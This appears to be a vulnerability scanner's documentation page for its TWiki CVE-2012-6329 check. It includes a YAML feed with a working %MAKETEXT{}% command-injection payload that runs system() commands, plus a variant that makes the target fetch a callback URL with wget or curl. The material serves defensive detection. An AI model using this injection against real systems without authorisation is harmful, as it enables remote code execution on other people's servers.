TWiki — 1 vulnerability check
noctis ships 1 vulnerability check for TWiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TWiki MAKETEXT Variable Command Execution
| CVE | CVE-2012-6329 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/twiki/CVE-2012-6329.yaml |
Detects the command execution flaw in the %MAKETEXT{}% variable of TWiki 4.0 to 5.1.2 (CVE-2012-6329), reachable when user interface internationalisation is enabled. The feed looks for the TWiki scripts under /twiki/bin, /do, /cgi-bin/twiki and /bin, opens the edit form of a Sandbox topic to obtain the session cookie and the crypttoken, then submits that topic for preview (nothing is saved) with a %MAKETEXT{}% variable whose argument breaks out of the translation string and runs `echo` + `expr <a> - <b>` with per-run random numbers. It reports a finding when the response carries NOCTIS followed by the computed difference, a value that is not in the request and only appears if the command really ran. When the scanner has an out-of-band listener, a second preview makes the command fetch the callback URL, and a received callback confirms an install that does not return the command output.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/edit/Sandbox/NoctisProbe?nowysiwyg=1 - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{base}}/save/Sandbox/NoctisProbewith a crafted body - Checks
inj.bodyforNOCTIS→ finding QoD 97: TWiki %MAKETEXT{}% command execution confirmed via POST …/save/Sandbox/NoctisProbe (action=preview): the command `expr … - …` ran and its o… - HTTP(S) request
POST {{base}}/save/Sandbox/NoctisProbewith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB HTTP callback received after a preview of a Sandbox topic carrying a %MAKETEXT{}% variable that runs wget/curl on the callback URL: com…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-6329
- https://nvd.nist.gov/vuln/detail/CVE-2012-6330
- http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/twiki_maketext.rb
Feed source — tests/vulnerabilities/twiki/CVE-2012-6329.yaml
# TWiki %MAKETEXT{}% command execution (CVE-2012-6329, TWiki 4.0.x - 5.1.2)
#
# Credit: the edit -> crypttoken -> submit sequence and the MAKETEXT payload shape
# (`\\'}; <perl>; { #`) come from Greenbone's `2012/gb_twiki_maketext_rce_vuln.nasl`
# (GPL-2.0-only) and the public Metasploit module `unix/webapp/twiki_maketext`.
# CVE mapping: the issue also lists CVE-2012-6330 (a MAKETEXT denial of service through
# a huge integer); it is a different flaw this feed never triggers, so only CVE-2012-6329
# is reported. NVD scores CVE-2012-6329 with CVSS v2 only (7.5).
#
# Root cause: the Locale::Maketext bracket-notation compiler of Perl < 5.17.7 evals
# user-supplied translation strings; TWiki hands the text of %MAKETEXT{"..."}% to it when
# {UserInterfaceInternationalisation} is on.
#
# Better than the reference check:
# * it does not save (and later "clean up") a wiki page: the payload is sent as a
# PREVIEW (action=preview), which renders the text without storing it; the only
# side effect is the edit lease TWiki creates when the edit form is opened;
# * the command is a computed marker (`expr a - b`) whose output is written in front of
# the response, instead of `date` whose output is never looked at (the reference
# check cannot tell a vulnerable site from a patched one by anything but its reply
# to a command it never reads);
# * a blind or buffered install is covered by an out-of-band callback;
# * the TWiki script directory is searched (/twiki/bin, /do, /cgi-bin/twiki, /bin).
uid: a1deebf5-665a-498a-8e86-4625bc200d8b
name: "TWiki MAKETEXT Variable Command Execution (CVE-2012-6329)"
description: |
Detects the command execution flaw in the %MAKETEXT{}% variable of TWiki 4.0 to
5.1.2 (CVE-2012-6329), reachable when user interface internationalisation is
enabled. The feed looks for the TWiki scripts under /twiki/bin, /do, /cgi-bin/twiki
and /bin, opens the edit form of a Sandbox topic to obtain the session cookie and the
crypttoken, then submits that topic for preview (nothing is saved) with a
%MAKETEXT{}% variable whose argument breaks out of the translation string and runs
`echo` + `expr <a> - <b>` with per-run random numbers. It reports a finding when the
response carries NOCTIS followed by the computed difference, a value that is not in the
request and only appears if the command really ran. When the scanner has an
out-of-band listener, a second preview makes the command fetch the callback URL, and a
received callback confirms an install that does not return the command output.
cves: [CVE-2012-6329]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [twiki, perl, maketext, locale-maketext, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-6329"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-6330"
- "http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/twiki_maketext.rb"
steps:
# a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, diff: "" + (a - b) }
store_as: ov
- id: init-found
action: set_var
var_name: found
var_value: false
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Per script directory: this step and every following one, up to wait_oob ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init-edit
action: set_var
var_name: ed
var_value: {status: 0, body: "", headers: {}}
loop:
over:
- "/twiki/bin"
- "/do"
- "/cgi-bin/twiki"
- "/bin"
var: base
# The edit form of a Sandbox topic carries the crypttoken (CSRF key) and starts a session.
- id: edit
action: http_request
method: GET
path: "{{base}}/edit/Sandbox/NoctisProbe?nowysiwyg=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ed
- id: session
action: script
code: |
let ok = false;
let tok = "";
let sid = "";
if ed.status == 200 && type_of(ed.body) == "string" {
let t = eregmatch("name=\"crypttoken\" value=\"([0-9a-f]+)\"", ed.body);
if type_of(t) == "array" && t.len() > 1 { ok = true; tok = t[1]; }
}
if ok && type_of(ed.headers) == "map" && "set-cookie" in ed.headers {
let sc = ed.headers["set-cookie"];
if type_of(sc) == "string" {
let c = eregmatch("TWIKISID=([0-9a-f]+)", sc);
if type_of(c) == "array" && c.len() > 1 { sid = c[1]; }
}
}
#{ ok: ok, tok: tok, sid: sid }
store_as: sess
# %MAKETEXT{"noctis [_1] x\\'}; system q(echo Content-Type: text/plain;echo;echo NOCTIS`expr a - b`); { #" args="y"}%
# sent as a preview (action=preview): rendered, never stored. The command's stdout goes
# straight to the CGI response, in front of TWiki's own headers (hence the Content-Type
# line and the blank line), so the marker lands in the body.
- id: inject
action: http_request
method: POST
path: "{{base}}/save/Sandbox/NoctisProbe"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "sess.ok == true"
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "TWIKISID={{sess.sid}}"
body: "crypttoken={{sess.tok}}&action=preview&text=%25MAKETEXT%7B%22noctis%20%5B_1%5D%20x%5C%5C'%7D%3B%20system%20q(echo%20Content-Type%3A%20text%2Fplain%3Becho%3Becho%20NOCTIS%60expr%20{{ov.a}}%20-%20{{ov.b}}%60)%3B%20%7B%20%23%22%20args%3D%22y%22%7D%25"
store_as: inj
- id: confirm
action: match
source: inj.body
pattern: "NOCTIS"
condition: "sess.ok == true && type_of(inj.body) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.body)"
on_match:
set_vars:
found: true
finding:
confidence_delta: 0.67
qod: 97
evidence: "TWiki %MAKETEXT{}% command execution confirmed via POST {{base}}/save/Sandbox/NoctisProbe (action=preview): the command `expr {{ov.a}} - {{ov.b}}` ran and its output NOCTIS{{ov.diff}} (a difference absent from the request) is in the response"
stop: true
# Same injection with a callback instead of a marker, sent once, to the first directory
# that served an edit form.
- id: inject-oob
action: http_request
method: POST
path: "{{base}}/save/Sandbox/NoctisProbe"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && sess.ok == true && oob_sent == false"
headers:
Content-Type: "application/x-www-form-urlencoded"
Cookie: "TWIKISID={{sess.sid}}"
body: "crypttoken={{sess.tok}}&action=preview&text=%25MAKETEXT%7B%22noctis%20%5B_1%5D%20x%5C%5C'%7D%3B%20system%20q(wget%20-q%20-O%20%2Fdev%2Fnull%20{{oob_url}}%7C%7Ccurl%20-s%20-o%20%2Fdev%2Fnull%20{{oob_url}})%3B%20%7B%20%23%22%20args%3D%22y%22%7D%25"
store_as: inj_oob
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && sess.ok == true"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent == true && found == false"
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "OOB HTTP callback received after a preview of a Sandbox topic carrying a %MAKETEXT{}% variable that runs wget/curl on the callback URL: command execution in TWiki's MAKETEXT (the response did not carry the command output)"
stop: true